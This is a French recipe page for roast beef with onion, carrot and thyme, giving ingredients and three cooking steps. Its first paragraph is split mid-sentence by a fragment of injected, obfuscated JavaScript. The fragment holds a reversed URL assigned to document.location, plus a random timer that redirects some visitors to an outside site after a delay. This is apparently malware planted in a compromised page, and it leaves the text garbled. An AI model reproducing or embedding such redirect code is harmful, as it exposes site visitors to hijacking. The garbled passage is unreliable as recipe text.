Rôti de bœuf
2017-12-26Déposez le rôti de bœuf dans un plat allant au four, salez, poivrez. Pelez l’oignon et la carotte en rondelles. Placez ces légumes autobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tour du rôti ainsi que la branche de thym.
Ingrédients
- Pour 6 personnes
- 1,5 kg de bœuf
- 1 oignon
- 1 carotte
- 1 branche de thym
- Sel
- Poivre du moulin
Préparation de la recette
Etape 1
Déposez le rôti de bœuf dans un plat allant au four, salez, poivrez. Pelez l'oignon et la carotte en rondelles. Placez ces légumes autour du rôti ainsi que la branche de thym.
Etape 2
Arrosez le rôti d'un filet d'huile d'arachide. Préchauffez le four à 240° C thermostat 8. Enfournez et faites cuire pendant 20 à 25 minutes. Vérifiez la cuisson.
Etape 3
Recouvrez le rôti d'une feuille de papier d'aluminium. Éteignez le four et laissez reposer pendant 10 minutes avant de le découper
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